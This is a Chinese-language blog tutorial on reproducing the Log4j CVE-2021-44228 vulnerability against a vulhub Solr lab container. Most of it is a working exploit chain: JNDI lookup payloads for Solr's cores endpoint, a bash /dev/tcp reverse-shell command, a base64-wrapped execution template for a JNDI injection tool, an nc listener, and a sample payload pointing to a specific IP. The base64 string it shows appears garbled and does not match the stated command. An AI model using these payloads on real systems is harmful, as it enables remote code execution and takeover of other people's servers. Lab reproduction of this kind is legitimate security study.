Log4j CVE-2021-44228 漏洞复现详细教程

1.开启环境

我们需要用到vulhub如果没有的可以自行下载一下,然后执行下列命令即可开启,然后就可以访问啦

复制代码
systemctl start docker
cd /vulhub/log4j/CVE-2021-44228		//需使用绝对路径
docker-compose up -d		
docker ps //查看开启容器的端口

2.证明漏洞存在

在我们点击页面时,可以发现URL中有界面会出现/solr/admin/cores?action=的传参点,我们这验证一下是否存在漏洞,使用dnslog.cn网站生成域名在前面带上我们构造的存在JNDI的请求发过去。就可以得到回显,说明漏洞存在。

复制代码
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}/*生成的域名复制到此处*/}

3.漏洞利用

下载一个JDNI方便生成我们的ldap。编写反弹shell编码,然后对其进行base64编码。根据自己前面的命令按照命令模版构造可执行命令。就可以得到下图内容。

复制代码
下载地址
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0

反弹shell代码
bash -i >& /dev/tcp/自己ip/监听端口 0>&1

对反弹shell进行base64编码
YmFzaC89KKB+JiA9HJJNMDF65JHCUn1KLJAHIBBLzk5OTkgMD4mMQ==

命令模版
java -jar target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,[经过base64编码后的命令]}|{base64,-d}|bash" -A [你的vpsip]

我们再开一个新的终端界面开启端口监听,

复制代码
nc -lvvp 监听端口		//与上面的监听端口一至

然后将我们得到的jdk 1.8 的ldap复制下来带入到下列的命令

复制代码
/solr/admin/cores?action=${jndi:自己的ldap}

参考:
/solr/admin/cores?action=${jndi:ldap://101.42.118.221:1389/jyvecl}

将构造好的命令复制到原来的界面访问即可,回到端口监听的 终端页面就可以得到对方的shell。

相关推荐
梓贤Vigo9 天前
【Axure视频教程】动态折线图
交互·产品经理·axure·原型·教程
haonuy*13 天前
Vulnhub Noob靶机复现(附提权)
教程·vulnhub·靶机·漏洞复现·攻略
正经教主14 天前
【n8n】如何跟着AI学习n8n【03】:HTTPRequest节点、Webhook节点、SMTP节点、mysql节点
人工智能·学习·教程·工作流·n8n
哈市雪花15 天前
添加捕捉吸附标识(使用QT+OpenGL开发三维CAD)
qt·教程·opengl·cad·绘制·工业软件·捕捉吸附
潇凝子潇16 天前
面条式代码(Spaghetti Code)
java·开发语言·log4j
正经教主16 天前
【n8n】如何跟着AI学习n8n【02.5】:第一部分总练习
人工智能·学习·教程·n8n
爱分享的飘哥16 天前
第三篇:VAE架构详解与PyTorch实现:从零构建AI的“视觉压缩引擎”
人工智能·pytorch·python·aigc·教程·生成模型·代码实战
MediaTea17 天前
Python 库手册:doctest 文档测试模块
开发语言·python·log4j
EumenidesJ18 天前
Java常用日志框架介绍
java·log4j·logback·slf4j
钱彬 (Qian Bin)20 天前
《使用Qt Quick从零构建AI螺丝瑕疵检测系统》——6. 传统算法实战:用OpenCV测量螺丝尺寸
教程·cmake·qml·qt quick·工业软件·工业瑕疵检测·qt6.9.1